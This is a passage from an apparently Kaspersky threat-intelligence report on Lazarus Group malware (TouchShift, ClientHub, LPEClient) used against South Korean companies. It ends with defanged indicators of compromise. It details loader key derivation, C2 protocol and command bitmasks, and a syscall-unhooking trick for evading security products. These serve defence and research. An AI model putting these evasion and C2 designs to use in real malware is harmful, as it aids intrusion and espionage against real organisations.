    C:\Windows\System32\RasConv\ActivationStore.dat TechHub’s configuration file Dropped by TouchHub after extracting configuration values

    TouchShift, a prevalent loader employed across multiple infection chains

    The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:

    • Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
    • Hard-coded XOR key: x809G736iC3f8Wp8
    • Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)

    After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.

    ClientHub

    We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.

    Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.

    To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.

    Offset Size Field value
    0 4 Current process ID
    4 4 First four bytes of the decrypted C2 server information.
    8 7 Randomly generated bytes
    15 1 Calculated flag value that indicates a state machine.
    16 8 Current system time, represented as a FILETIME structure.
    24 8 Randomly generated bytes

    The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.

    struct header
    {
      int has_more_data // whether more body data remains 
      int body_checksum;// ROR13 checksum for the body data
      int body_type;    // specifies the body type
      int unknown;
      int body_length;  // Length of the body data
      int IV[2];        // Random IV used to encrypt the body data
    };

    The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.

    The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.

    Bitmask Value in decimal Description Result sent to the C2
    0x00000001 1 DLL loading: load the received body reflectively along with the provided parameter The payload’s image base
    0x00000011 3 Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter The payload’s image base, the address of the invoked function, and the execution result
    0x00000101 5 Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately The payload’s image base, the address of the function
    0x00001011 11 Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin –
    0x00010001 17 DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer The payload’s image base, the address of the interactive shared buffer, and the execution result

    The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.

    Bitmask Value in decimal Description Result sent to the C2
    0x00000010 2 Invoke the previously loaded DLLs and plugins along with the provided parameter The execution result
    0x00000100 4 Not implemented –
    0x00001000 8 Unload the previously loaded DLLs and plugins The execution result
    0x00010000 16 Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload The execution result

    Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.

    Plugin Description
    File archiver Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data
    File collector Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values
    File cleaner Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them
    Drive and session monitor Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information

    In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.

    LPEClient

    LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.

    LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.

    Timeline of LPEClient

    Timeline of LPEClient

    The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.

    • It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
    • To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
    • It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.

    Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.

    The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.

    Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.

    The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.

    Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.

    We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.

    Data relay flow between LPEClient and C2 via ClientHub

    Data relay flow between LPEClient and C2 via ClientHub

    Comparison of plugins and modules

    Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.

    Deployed via Type of payload Family
    TechHub/Cubridge Tool Process collector,
    Browser stealer
    Cubridge Module Action module, Function module
    Cubridge Plugin ADFinder, FileCollector
    ClientHub Plugin File archiver, File collector, File cleaner, Drive/session monitor

    These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.

    Infrastructure

    Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.

    For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.

    Victims

    We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.

    The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.

    Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.

    The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.

    We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.

    Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.

    As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.

    Data leakage site linked to the COPPERHEDGE backdoor on the dark web

    Data leakage site linked to the COPPERHEDGE backdoor on the dark web

    Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.

    Overlaps between the recent attacks by Lazarus Group

    Overlaps between the recent attacks by Lazarus Group

    Conclusion

    Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.

    We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
    In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.

    Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.

    Indicators of compromise

    File hashes

    TouchShift
    ec84d6cb2ae7974767aedac246b50a3e             mscoree.dll
    a28cba214058fcae2883d8cffc883abd                mscoree.dll
    c105d6b16f544582772de0159f24c00a               mscoree.dll
    2f8475a90a25624ed02f1d18d4e6d65d              mscoree.dll
    676fabe30a28b53925fba98e34b35986              mscoree.dll
    b4a7eff35f048f06fb0a2d7631f23a7d                  mscoree.dll

    ClientHub Loader
    ff07641dc56914dd90ee0bd7404d7ad7               liblzma.dll

    File paths

    C:\ProgramData\Package.txt
    C:\ProgramData\RasConv\mscoree.dll
    C:\ProgramData\Apple\mscoree.dll
    C:\ProgramData\ssh\mscoree.dll
    C:\ProgramData\qorestor\mscoree.dll
    C:\ProgramData\Dell\mscoree.dll
    C:\ProgramData\Dell\Dell1.tmp
    C:\ProgramData\Dell\Dell3.tmp
    C:\Windows\System32\RasConv\mscoree.dll
    C:\Windows\System32\RasConv\ActivationStore.dat
    C:\Windows\System32\DrvConh\mscoree.dll
    C:\Windows\System32\DrvConh\ActivationStore.dat
    C:\Program Files\Common Files\System\msadc\msadc.inc
    C:\ProgramData\desktops.ini

    C2 servers

    javadevhouse.co[.]kr
    pythonapischool[.]com
    hxxps://cubedesign[.]co[.]kr/news            C2 of Cubridge
    hxxps://cubedesign[.]co[.]kr/mobile/fashion            C2 of Cubridge
    hxxps://fp-news[.]co[.]kr/shop/cart                                C2 of Cubridge
    hxxps://k-wbc[.]co[.]kr/skin/social/social_view.php         C2 of ClientHub
    hxxps://rcsh[.]co[.]kr/modules/bbs/tiles/bbs_div/inputForm.php    C2 of ClientHub
    hxxps://www[.]ksog[.]org/insert_file/handle.php                   C2 of ClientHub

    Source: Securelist (Kaspersky GReAT) · 2026-10-21